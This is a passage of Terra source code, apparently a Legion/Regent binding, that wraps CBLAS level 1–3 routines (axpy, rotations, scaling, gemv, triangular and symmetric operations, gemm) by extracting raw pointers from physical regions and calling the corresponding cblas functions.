[get_raw_ptr_factory(1, double, rectX, prX, fldX, rawX, double_ptr)]
var rawY : double_ptr
[get_raw_ptr_factory(1, double, rectY, prY, fldY, rawY, double_ptr)]
cblas.cblas_dcopy(N, rawX.ptr, rawX.offset, rawY.ptr, rawY.offset)
end
terra daxpy_cpu_terra(
N : int,
alpha : double,
rectX : rect1d,
rectY : rect1d,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prY : clib.legion_physical_region_t,
fldY : clib.legion_field_id_t)
var rawX : double_ptr
[get_raw_ptr_factory(1, double, rectX, prX, fldX, rawX, double_ptr)]
var rawY : double_ptr
[get_raw_ptr_factory(1, double, rectY, prY, fldY, rawY, double_ptr)]
cblas.cblas_daxpy(N, alpha, rawX.ptr, rawX.offset, rawY.ptr, rawY.offset)
end
terra srotg_cpu_terra(
a : float,
b : float,
c : float,
s : float)
cblas.cblas_srotg(&a, &b, &c, &s)
end
terra srotmg_cpu_terra(
d1 : float,
d2 : float,
b1 : float,
b2 : float,
rectP : rect1d,
prP : clib.legion_physical_region_t,
fldP : clib.legion_field_id_t)
var rawP : float_ptr
[get_raw_ptr_factory(1, float, rectP, prP, fldP, rawP, float_ptr)]
cblas.cblas_srotmg(&d1, &d2, &b1, b2, rawP.ptr)
end
terra srot_cpu_terra(
N : int,
rectX : rect1d,
rectY : rect1d,
c : float,
s : float,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prY : clib.legion_physical_region_t,
fldY : clib.legion_field_id_t)
var rawX : float_ptr
[get_raw_ptr_factory(1, float, rectX, prX, fldX, rawX, float_ptr)]
var rawY : float_ptr
[get_raw_ptr_factory(1, float, rectY, prY, fldY, rawY, float_ptr)]
cblas.cblas_srot(N, rawX.ptr, rawX.offset, rawY.ptr, rawY.offset, c, s)
end
terra srotm_cpu_terra(
N : int,
rectX : rect1d,
rectY : rect1d,
rectP : rect1d,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prY : clib.legion_physical_region_t,
fldY : clib.legion_field_id_t,
prP : clib.legion_physical_region_t,
fldP : clib.legion_field_id_t)
var rawX : float_ptr
[get_raw_ptr_factory(1, float, rectX, prX, fldX, rawX, float_ptr)]
var rawY : float_ptr
[get_raw_ptr_factory(1, float, rectY, prY, fldY, rawY, float_ptr)]
var rawP : float_ptr
[get_raw_ptr_factory(1, float, rectP, prP, fldP, rawP, float_ptr)]
cblas.cblas_srotm(N, rawX.ptr, rawX.offset, rawY.ptr, rawY.offset, rawP.ptr)
end
terra drotg_cpu_terra(
a : double,
b : double,
c : double,
s : double)
cblas.cblas_drotg(&a, &b, &c, &s)
end
terra drotmg_cpu_terra(
d1 : double,
d2 : double,
b1 : double,
b2 : double,
rectP : rect1d,
prP : clib.legion_physical_region_t,
fldP : clib.legion_field_id_t)
var rawP : double_ptr
[get_raw_ptr_factory(1, double, rectP, prP, fldP, rawP, double_ptr)]
cblas.cblas_drotmg(&d1, &d2, &b1, b2, rawP.ptr)
end
terra drot_cpu_terra(
N : int,
rectX : rect1d,
rectY : rect1d,
c : double,
s : double,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prY : clib.legion_physical_region_t,
fldY : clib.legion_field_id_t)
var rawX : double_ptr
[get_raw_ptr_factory(1, double, rectX, prX, fldX, rawX, double_ptr)]
var rawY : double_ptr
[get_raw_ptr_factory(1, double, rectY, prY, fldY, rawY, double_ptr)]
cblas.cblas_drot(N, rawX.ptr, rawX.offset, rawY.ptr, rawY.offset, c, s)
end
terra drotm_cpu_terra(
N : int,
rectX : rect1d,
rectY : rect1d,
rectP : rect1d,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prY : clib.legion_physical_region_t,
fldY : clib.legion_field_id_t,
prP : clib.legion_physical_region_t,
fldP : clib.legion_field_id_t)
var rawX : double_ptr
[get_raw_ptr_factory(1, double, rectX, prX, fldX, rawX, double_ptr)]
var rawY : double_ptr
[get_raw_ptr_factory(1, double, rectY, prY, fldY, rawY, double_ptr)]
var rawP : double_ptr
[get_raw_ptr_factory(1, double, rectP, prP, fldP, rawP, double_ptr)]
cblas.cblas_drotm(N, rawX.ptr, rawX.offset, rawY.ptr, rawY.offset, rawP.ptr)
end
terra sscal_cpu_terra(
N : int,
alpha : float,
rectX : rect1d,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t)
var rawX : float_ptr
[get_raw_ptr_factory(1, float, rectX, prX, fldX, rawX, float_ptr)]
cblas.cblas_sscal(N, alpha, rawX.ptr, rawX.offset)
end
terra dscal_cpu_terra(
N : int,
alpha : double,
rectX : rect1d,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t)
var rawX : double_ptr
[get_raw_ptr_factory(1, double, rectX, prX, fldX, rawX, double_ptr)]
cblas.cblas_dscal(N, alpha, rawX.ptr, rawX.offset)
end
terra sgemv_cpu_terra(
layout : int,
TransA : int,
M : int,
N : int,
alpha : float,
rectA : rect2d,
rectX : rect1d,
beta : float,
rectY : rect1d,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prY : clib.legion_physical_region_t,
fldY : clib.legion_field_id_t)
var rawA : float_ptr
[get_raw_ptr_factory(2, float, rectA, prA, fldA, rawA, float_ptr)]
var rawX : float_ptr
[get_raw_ptr_factory(1, float, rectX, prX, fldX, rawX, float_ptr)]
var rawY : float_ptr
[get_raw_ptr_factory(1, float, rectY, prY, fldY, rawY, float_ptr)]
cblas.cblas_sgemv(layout, TransA, M, N, alpha, rawA.ptr, rawA.offset, rawX.ptr, rawX.offset, beta, rawY.ptr, rawY.offset)
end
terra sgbmv_cpu_terra(
layout : int,
TransA : int,
M : int,
N : int,
KL : int,
KU : int,
alpha : float,
rectA : rect2d,
rectX : rect1d,
beta : float,
rectY : rect1d,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prY : clib.legion_physical_region_t,
fldY : clib.legion_field_id_t)
var rawA : float_ptr
[get_raw_ptr_factory(2, float, rectA, prA, fldA, rawA, float_ptr)]
var rawX : float_ptr
[get_raw_ptr_factory(1, float, rectX, prX, fldX, rawX, float_ptr)]
var rawY : float_ptr
[get_raw_ptr_factory(1, float, rectY, prY, fldY, rawY, float_ptr)]
cblas.cblas_sgbmv(layout, TransA, M, N, KL, KU, alpha, rawA.ptr, rawA.offset, rawX.ptr, rawX.offset, beta, rawY.ptr, rawY.offset)
end
terra strmv_cpu_terra(
layout : int,
Uplo : int,
TransA : int,
Diag : int,
N : int,
rectA : rect2d,
rectX : rect1d,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t)
var rawA : float_ptr
[get_raw_ptr_factory(2, float, rectA, prA, fldA, rawA, float_ptr)]
var rawX : float_ptr
[get_raw_ptr_factory(1, float, rectX, prX, fldX, rawX, float_ptr)]
cblas.cblas_strmv(layout, Uplo, TransA, Diag, N, rawA.ptr, rawA.offset, rawX.ptr, rawX.offset)
end
terra stbmv_cpu_terra(
layout : int,
Uplo : int,
TransA : int,
Diag : int,
N : int,
K : int,
rectA : rect2d,
rectX : rect1d,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t)
var rawA : float_ptr
[get_raw_ptr_factory(2, float, rectA, prA, fldA, rawA, float_ptr)]
var rawX : float_ptr
[get_raw_ptr_factory(1, float, rectX, prX, fldX, rawX, float_ptr)]
cblas.cblas_stbmv(layout, Uplo, TransA, Diag, N, K, rawA.ptr, rawA.offset, rawX.ptr, rawX.offset)
end
terra stpmv_cpu_terra(
layout : int,
Uplo : int,
TransA : int,
Diag : int,
N : int,
rectAP : rect2d,
rectX : rect1d,
prAP : clib.legion_physical_region_t,
fldAP : clib.legion_field_id_t,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t)
var rawAP : float_ptr
[get_raw_ptr_factory(2, float, rectAP, prAP, fldAP, rawAP, float_ptr)]
var rawX : float_ptr
[get_raw_ptr_factory(1, float, rectX, prX, fldX, rawX, float_ptr)]
cblas.cblas_stpmv(layout, Uplo, TransA, Diag, N, rawAP.ptr, rawX.ptr, rawX.offset)
end
terra strsv_cpu_terra(
layout : int,
Uplo : int,
TransA : int,
Diag : int,
N : int,
rectA : rect2d,
rectX : rect1d,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t)
var rawA : float_ptr
[get_raw_ptr_factory(2, float, rectA, prA, fldA, rawA, float_ptr)]
var rawX : float_ptr
[get_raw_ptr_factory(1, float, rectX, prX, fldX, rawX, float_ptr)]
cblas.cblas_strsv(layout, Uplo, TransA, Diag, N, rawA.ptr, rawA.offset, rawX.ptr, rawX.offset)
end
terra stbsv_cpu_terra(
layout : int,
Uplo : int,
TransA : int,
Diag : int,
N : int,
K : int,
rectA : rect2d,
rectX : rect1d,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t)
var rawA : float_ptr
[get_raw_ptr_factory(2, float, rectA, prA, fldA, rawA, float_ptr)]
var rawX : float_ptr
[get_raw_ptr_factory(1, float, rectX, prX, fldX, rawX, float_ptr)]
cblas.cblas_stbsv(layout, Uplo, TransA, Diag, N, K, rawA.ptr, rawA.offset, rawX.ptr, rawX.offset)
end
terra stpsv_cpu_terra(
layout : int,
Uplo : int,
TransA : int,
Diag : int,
N : int,
rectAP : rect2d,
rectX : rect1d,
prAP : clib.legion_physical_region_t,
fldAP : clib.legion_field_id_t,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t)
var rawAP : float_ptr
[get_raw_ptr_factory(2, float, rectAP, prAP, fldAP, rawAP, float_ptr)]
var rawX : float_ptr
[get_raw_ptr_factory(1, float, rectX, prX, fldX, rawX, float_ptr)]
cblas.cblas_stpsv(layout, Uplo, TransA, Diag, N, rawAP.ptr, rawX.ptr, rawX.offset)
end
terra dgemv_cpu_terra(
layout : int,
TransA : int,
M : int,
N : int,
alpha : double,
rectA : rect2d,
rectX : rect1d,
beta : double,
rectY : rect1d,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prY : clib.legion_physical_region_t,
fldY : clib.legion_field_id_t)
var rawA : double_ptr
[get_raw_ptr_factory(2, double, rectA, prA, fldA, rawA, double_ptr)]
var rawX : double_ptr
[get_raw_ptr_factory(1, double, rectX, prX, fldX, rawX, double_ptr)]
var rawY : double_ptr
[get_raw_ptr_factory(1, double, rectY, prY, fldY, rawY, double_ptr)]
cblas.cblas_dgemv(layout, TransA, M, N, alpha, rawA.ptr, rawA.offset, rawX.ptr, rawX.offset, beta, rawY.ptr, rawY.offset)
end
terra dgbmv_cpu_terra(
layout : int,
TransA : int,
M : int,
N : int,
KL : int,
KU : int,
alpha : double,
rectA : rect2d,
rectX : rect1d,
beta : double,
rectY : rect1d,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prY : clib.legion_physical_region_t,
fldY : clib.legion_field_id_t)
var rawA : double_ptr
[get_raw_ptr_factory(2, double, rectA, prA, fldA, rawA, double_ptr)]
var rawX : double_ptr
[get_raw_ptr_factory(1, double, rectX, prX, fldX, rawX, double_ptr)]
var rawY : double_ptr
[get_raw_ptr_factory(1, double, rectY, prY, fldY, rawY, double_ptr)]
cblas.cblas_dgbmv(layout, TransA, M, N, KL, KU, alpha, rawA.ptr, rawA.offset, rawX.ptr, rawX.offset, beta, rawY.ptr, rawY.offset)
end
terra dtrmv_cpu_terra(
layout : int,
Uplo : int,
TransA : int,
Diag : int,
N : int,
rectA : rect2d,
rectX : rect1d,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t)
var rawA : double_ptr
[get_raw_ptr_factory(2, double, rectA, prA, fldA, rawA, double_ptr)]
var rawX : double_ptr
[get_raw_ptr_factory(1, double, rectX, prX, fldX, rawX, double_ptr)]
cblas.cblas_dtrmv(layout, Uplo, TransA, Diag, N, rawA.ptr, rawA.offset, rawX.ptr, rawX.offset)
end
terra dtbmv_cpu_terra(
layout : int,
Uplo : int,
TransA : int,
Diag : int,
N : int,
K : int,
rectA : rect2d,
rectX : rect1d,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t)
var rawA : double_ptr
[get_raw_ptr_factory(2, double, rectA, prA, fldA, rawA, double_ptr)]
var rawX : double_ptr
[get_raw_ptr_factory(1, double, rectX, prX, fldX, rawX, double_ptr)]
cblas.cblas_dtbmv(layout, Uplo, TransA, Diag, N, K, rawA.ptr, rawA.offset, rawX.ptr, rawX.offset)
end
terra dtpmv_cpu_terra(
layout : int,
Uplo : int,
TransA : int,
Diag : int,
N : int,
rectAP : rect2d,
rectX : rect1d,
prAP : clib.legion_physical_region_t,
fldAP : clib.legion_field_id_t,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t)
var rawAP : double_ptr
[get_raw_ptr_factory(2, double, rectAP, prAP, fldAP, rawAP, double_ptr)]
var rawX : double_ptr
[get_raw_ptr_factory(1, double, rectX, prX, fldX, rawX, double_ptr)]
cblas.cblas_dtpmv(layout, Uplo, TransA, Diag, N, rawAP.ptr, rawX.ptr, rawX.offset)
end
terra dtrsv_cpu_terra(
layout : int,
Uplo : int,
TransA : int,
Diag : int,
N : int,
rectA : rect2d,
rectX : rect1d,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t)
var rawA : double_ptr
[get_raw_ptr_factory(2, double, rectA, prA, fldA, rawA, double_ptr)]
var rawX : double_ptr
[get_raw_ptr_factory(1, double, rectX, prX, fldX, rawX, double_ptr)]
cblas.cblas_dtrsv(layout, Uplo, TransA, Diag, N, rawA.ptr, rawA.offset, rawX.ptr, rawX.offset)
end
terra dtbsv_cpu_terra(
layout : int,
Uplo : int,
TransA : int,
Diag : int,
N : int,
K : int,
rectA : rect2d,
rectX : rect1d,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t)
var rawA : double_ptr
[get_raw_ptr_factory(2, double, rectA, prA, fldA, rawA, double_ptr)]
var rawX : double_ptr
[get_raw_ptr_factory(1, double, rectX, prX, fldX, rawX, double_ptr)]
cblas.cblas_dtbsv(layout, Uplo, TransA, Diag, N, K, rawA.ptr, rawA.offset, rawX.ptr, rawX.offset)
end
terra dtpsv_cpu_terra(
layout : int,
Uplo : int,
TransA : int,
Diag : int,
N : int,
rectAP : rect2d,
rectX : rect1d,
prAP : clib.legion_physical_region_t,
fldAP : clib.legion_field_id_t,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t)
var rawAP : double_ptr
[get_raw_ptr_factory(2, double, rectAP, prAP, fldAP, rawAP, double_ptr)]
var rawX : double_ptr
[get_raw_ptr_factory(1, double, rectX, prX, fldX, rawX, double_ptr)]
cblas.cblas_dtpsv(layout, Uplo, TransA, Diag, N, rawAP.ptr, rawX.ptr, rawX.offset)
end
terra ssymv_cpu_terra(
layout : int,
Uplo : int,
N : int,
alpha : float,
rectA : rect2d,
rectX : rect1d,
beta : float,
rectY : rect1d,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prY : clib.legion_physical_region_t,
fldY : clib.legion_field_id_t)
var rawA : float_ptr
[get_raw_ptr_factory(2, float, rectA, prA, fldA, rawA, float_ptr)]
var rawX : float_ptr
[get_raw_ptr_factory(1, float, rectX, prX, fldX, rawX, float_ptr)]
var rawY : float_ptr
[get_raw_ptr_factory(1, float, rectY, prY, fldY, rawY, float_ptr)]
cblas.cblas_ssymv(layout, Uplo, N, alpha, rawA.ptr, rawA.offset, rawX.ptr, rawX.offset, beta, rawY.ptr, rawY.offset)
end
terra ssbmv_cpu_terra(
layout : int,
Uplo : int,
N : int,
K : int,
alpha : float,
rectA : rect2d,
rectX : rect1d,
beta : float,
rectY : rect1d,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prY : clib.legion_physical_region_t,
fldY : clib.legion_field_id_t)
var rawA : float_ptr
[get_raw_ptr_factory(2, float, rectA, prA, fldA, rawA, float_ptr)]
var rawX : float_ptr
[get_raw_ptr_factory(1, float, rectX, prX, fldX, rawX, float_ptr)]
var rawY : float_ptr
[get_raw_ptr_factory(1, float, rectY, prY, fldY, rawY, float_ptr)]
cblas.cblas_ssbmv(layout, Uplo, N, K, alpha, rawA.ptr, rawA.offset, rawX.ptr, rawX.offset, beta, rawY.ptr, rawY.offset)
end
terra sspmv_cpu_terra(
layout : int,
Uplo : int,
N : int,
alpha : float,
rectAP : rect2d,
rectX : rect1d,
beta : float,
rectY : rect1d,
prAP : clib.legion_physical_region_t,
fldAP : clib.legion_field_id_t,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prY : clib.legion_physical_region_t,
fldY : clib.legion_field_id_t)
var rawAP : float_ptr
[get_raw_ptr_factory(2, float, rectAP, prAP, fldAP, rawAP, float_ptr)]
var rawX : float_ptr
[get_raw_ptr_factory(1, float, rectX, prX, fldX, rawX, float_ptr)]
var rawY : float_ptr
[get_raw_ptr_factory(1, float, rectY, prY, fldY, rawY, float_ptr)]
cblas.cblas_sspmv(layout, Uplo, N, alpha, rawAP.ptr, rawX.ptr, rawX.offset, beta, rawY.ptr, rawY.offset)
end
terra sger_cpu_terra(
layout : int,
M : int,
N : int,
alpha : float,
rectX : rect1d,
rectY : rect1d,
rectA : rect2d,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prY : clib.legion_physical_region_t,
fldY : clib.legion_field_id_t,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t)
var rawX : float_ptr
[get_raw_ptr_factory(1, float, rectX, prX, fldX, rawX, float_ptr)]
var rawY : float_ptr
[get_raw_ptr_factory(1, float, rectY, prY, fldY, rawY, float_ptr)]
var rawA : float_ptr
[get_raw_ptr_factory(2, float, rectA, prA, fldA, rawA, float_ptr)]
cblas.cblas_sger(layout, M, N, alpha, rawX.ptr, rawX.offset, rawY.ptr, rawY.offset, rawA.ptr, rawA.offset)
end
terra ssyr_cpu_terra(
layout : int,
Uplo : int,
N : int,
alpha : float,
rectX : rect1d,
rectA : rect2d,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t)
var rawX : float_ptr
[get_raw_ptr_factory(1, float, rectX, prX, fldX, rawX, float_ptr)]
var rawA : float_ptr
[get_raw_ptr_factory(2, float, rectA, prA, fldA, rawA, float_ptr)]
cblas.cblas_ssyr(layout, Uplo, N, alpha, rawX.ptr, rawX.offset, rawA.ptr, rawA.offset)
end
terra sspr_cpu_terra(
layout : int,
Uplo : int,
N : int,
alpha : float,
rectX : rect1d,
rectAP : rect2d,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prAP : clib.legion_physical_region_t,
fldAP : clib.legion_field_id_t)
var rawX : float_ptr
[get_raw_ptr_factory(1, float, rectX, prX, fldX, rawX, float_ptr)]
var rawAP : float_ptr
[get_raw_ptr_factory(2, float, rectAP, prAP, fldAP, rawAP, float_ptr)]
cblas.cblas_sspr(layout, Uplo, N, alpha, rawX.ptr, rawX.offset, rawAP.ptr)
end
terra ssyr2_cpu_terra(
layout : int,
Uplo : int,
N : int,
alpha : float,
rectX : rect1d,
rectY : rect1d,
rectA : rect2d,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prY : clib.legion_physical_region_t,
fldY : clib.legion_field_id_t,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t)
var rawX : float_ptr
[get_raw_ptr_factory(1, float, rectX, prX, fldX, rawX, float_ptr)]
var rawY : float_ptr
[get_raw_ptr_factory(1, float, rectY, prY, fldY, rawY, float_ptr)]
var rawA : float_ptr
[get_raw_ptr_factory(2, float, rectA, prA, fldA, rawA, float_ptr)]
cblas.cblas_ssyr2(layout, Uplo, N, alpha, rawX.ptr, rawX.offset, rawY.ptr, rawY.offset, rawA.ptr, rawA.offset)
end
terra sspr2_cpu_terra(
layout : int,
Uplo : int,
N : int,
alpha : float,
rectX : rect1d,
rectY : rect1d,
rectA : rect2d,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prY : clib.legion_physical_region_t,
fldY : clib.legion_field_id_t,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t)
var rawX : float_ptr
[get_raw_ptr_factory(1, float, rectX, prX, fldX, rawX, float_ptr)]
var rawY : float_ptr
[get_raw_ptr_factory(1, float, rectY, prY, fldY, rawY, float_ptr)]
var rawA : float_ptr
[get_raw_ptr_factory(2, float, rectA, prA, fldA, rawA, float_ptr)]
cblas.cblas_sspr2(layout, Uplo, N, alpha, rawX.ptr, rawX.offset, rawY.ptr, rawY.offset, rawA.ptr)
end
terra dsymv_cpu_terra(
layout : int,
Uplo : int,
N : int,
alpha : double,
rectA : rect2d,
rectX : rect1d,
beta : double,
rectY : rect1d,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prY : clib.legion_physical_region_t,
fldY : clib.legion_field_id_t)
var rawA : double_ptr
[get_raw_ptr_factory(2, double, rectA, prA, fldA, rawA, double_ptr)]
var rawX : double_ptr
[get_raw_ptr_factory(1, double, rectX, prX, fldX, rawX, double_ptr)]
var rawY : double_ptr
[get_raw_ptr_factory(1, double, rectY, prY, fldY, rawY, double_ptr)]
cblas.cblas_dsymv(layout, Uplo, N, alpha, rawA.ptr, rawA.offset, rawX.ptr, rawX.offset, beta, rawY.ptr, rawY.offset)
end
terra dsbmv_cpu_terra(
layout : int,
Uplo : int,
N : int,
K : int,
alpha : double,
rectA : rect2d,
rectX : rect1d,
beta : double,
rectY : rect1d,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prY : clib.legion_physical_region_t,
fldY : clib.legion_field_id_t)
var rawA : double_ptr
[get_raw_ptr_factory(2, double, rectA, prA, fldA, rawA, double_ptr)]
var rawX : double_ptr
[get_raw_ptr_factory(1, double, rectX, prX, fldX, rawX, double_ptr)]
var rawY : double_ptr
[get_raw_ptr_factory(1, double, rectY, prY, fldY, rawY, double_ptr)]
cblas.cblas_dsbmv(layout, Uplo, N, K, alpha, rawA.ptr, rawA.offset, rawX.ptr, rawX.offset, beta, rawY.ptr, rawY.offset)
end
terra dspmv_cpu_terra(
layout : int,
Uplo : int,
N : int,
alpha : double,
rectAP : rect2d,
rectX : rect1d,
beta : double,
rectY : rect1d,
prAP : clib.legion_physical_region_t,
fldAP : clib.legion_field_id_t,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prY : clib.legion_physical_region_t,
fldY : clib.legion_field_id_t)
var rawAP : double_ptr
[get_raw_ptr_factory(2, double, rectAP, prAP, fldAP, rawAP, double_ptr)]
var rawX : double_ptr
[get_raw_ptr_factory(1, double, rectX, prX, fldX, rawX, double_ptr)]
var rawY : double_ptr
[get_raw_ptr_factory(1, double, rectY, prY, fldY, rawY, double_ptr)]
cblas.cblas_dspmv(layout, Uplo, N, alpha, rawAP.ptr, rawX.ptr, rawX.offset, beta, rawY.ptr, rawY.offset)
end
terra dger_cpu_terra(
layout : int,
M : int,
N : int,
alpha : double,
rectX : rect1d,
rectY : rect1d,
rectA : rect2d,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prY : clib.legion_physical_region_t,
fldY : clib.legion_field_id_t,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t)
var rawX : double_ptr
[get_raw_ptr_factory(1, double, rectX, prX, fldX, rawX, double_ptr)]
var rawY : double_ptr
[get_raw_ptr_factory(1, double, rectY, prY, fldY, rawY, double_ptr)]
var rawA : double_ptr
[get_raw_ptr_factory(2, double, rectA, prA, fldA, rawA, double_ptr)]
cblas.cblas_dger(layout, M, N, alpha, rawX.ptr, rawX.offset, rawY.ptr, rawY.offset, rawA.ptr, rawA.offset)
end
terra dsyr_cpu_terra(
layout : int,
Uplo : int,
N : int,
alpha : double,
rectX : rect1d,
rectA : rect2d,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t)
var rawX : double_ptr
[get_raw_ptr_factory(1, double, rectX, prX, fldX, rawX, double_ptr)]
var rawA : double_ptr
[get_raw_ptr_factory(2, double, rectA, prA, fldA, rawA, double_ptr)]
cblas.cblas_dsyr(layout, Uplo, N, alpha, rawX.ptr, rawX.offset, rawA.ptr, rawA.offset)
end
terra dspr_cpu_terra(
layout : int,
Uplo : int,
N : int,
alpha : double,
rectX : rect1d,
rectAP : rect2d,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prAP : clib.legion_physical_region_t,
fldAP : clib.legion_field_id_t)
var rawX : double_ptr
[get_raw_ptr_factory(1, double, rectX, prX, fldX, rawX, double_ptr)]
var rawAP : double_ptr
[get_raw_ptr_factory(2, double, rectAP, prAP, fldAP, rawAP, double_ptr)]
cblas.cblas_dspr(layout, Uplo, N, alpha, rawX.ptr, rawX.offset, rawAP.ptr)
end
terra dsyr2_cpu_terra(
layout : int,
Uplo : int,
N : int,
alpha : double,
rectX : rect1d,
rectY : rect1d,
rectA : rect2d,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prY : clib.legion_physical_region_t,
fldY : clib.legion_field_id_t,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t)
var rawX : double_ptr
[get_raw_ptr_factory(1, double, rectX, prX, fldX, rawX, double_ptr)]
var rawY : double_ptr
[get_raw_ptr_factory(1, double, rectY, prY, fldY, rawY, double_ptr)]
var rawA : double_ptr
[get_raw_ptr_factory(2, double, rectA, prA, fldA, rawA, double_ptr)]
cblas.cblas_dsyr2(layout, Uplo, N, alpha, rawX.ptr, rawX.offset, rawY.ptr, rawY.offset, rawA.ptr, rawA.offset)
end
terra dspr2_cpu_terra(
layout : int,
Uplo : int,
N : int,
alpha : double,
rectX : rect1d,
rectY : rect1d,
rectA : rect2d,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prY : clib.legion_physical_region_t,
fldY : clib.legion_field_id_t,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t)
var rawX : double_ptr
[get_raw_ptr_factory(1, double, rectX, prX, fldX, rawX, double_ptr)]
var rawY : double_ptr
[get_raw_ptr_factory(1, double, rectY, prY, fldY, rawY, double_ptr)]
var rawA : double_ptr
[get_raw_ptr_factory(2, double, rectA, prA, fldA, rawA, double_ptr)]
cblas.cblas_dspr2(layout, Uplo, N, alpha, rawX.ptr, rawX.offset, rawY.ptr, rawY.offset, rawA.ptr)
end
terra sgemm_cpu_terra(
layout : int,
TransA : int,
TransB : int,
M : int,
N : int,
K : int,
alpha : float,
rectA : rect2d,
rectB : rect2d,
beta : float,
rectC : rect2d,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t,
prB : clib.legion_physical_region_t,
fldB : clib.legion_field_id_t,
prC : clib.legion_physical_region_t,
fldC : clib.legion_field_id_t)
var rawA : float_ptr
[get_raw_ptr_factory(2, float, rectA, prA, fldA, rawA, float_ptr)]
var rawB : float_ptr
[get_raw_ptr_factory(2, float, rectB, prB, fldB, rawB, float_ptr)]
var rawC : float_ptr
[get_raw_ptr_factory(2, float, rectC, prC, fldC, rawC, float_ptr)]
cblas.cblas_sgemm(layout, TransA, TransB, M, N, K, alpha, rawA.ptr, rawA.offset, rawB.ptr, rawB.offset, beta, rawC.ptr, rawC.offset)
end
terra ssymm_cpu_terra(
layout : int,
Side : int,
Uplo : int,
M : int,
N : int,
alpha : float,
rectA : rect2d,
rectB : rect2d,
beta : float,
rectC : rect2d,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t,
prB : clib.legion_physical_region_t,
fldB : clib.legion_field_id_t,
prC : clib.legion_physical_region_t,
fldC : clib.legion_field_id_t)
var rawA : float_ptr
[get_raw_ptr_factory(2, float, rectA, prA, fldA, rawA, float_ptr)]
var rawB : float_ptr
[get_raw_ptr_factory(2, float, rectB, prB, fldB, rawB, float_ptr)]
var rawC : float_ptr
[get_raw_ptr_factory(2, float, rectC, prC, fldC, rawC, float_ptr)]
cblas.cblas_ssymm(layout, Side, Uplo, M, N, alpha, rawA.ptr, rawA.offset, rawB.ptr, rawB.offset, beta, rawC.ptr, rawC.offset)
end
terra ssyrk_cpu_terra(
layout : int,
Uplo : int,
Trans : int,
N : int,
K : int,
alpha : float,
rectA : rect2d,
beta : float,
rectC : rect2d,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t,
prC : clib.legion_physical_region_t,
fldC : clib.legion_field_id_t)
var rawA : float_ptr
[get_raw_ptr_factory(2, float, rectA, prA, fldA, rawA, float_ptr)]
var rawC : float_ptr
[get_raw_ptr_factory(2, float, rectC, prC, fldC, rawC, float_ptr)]
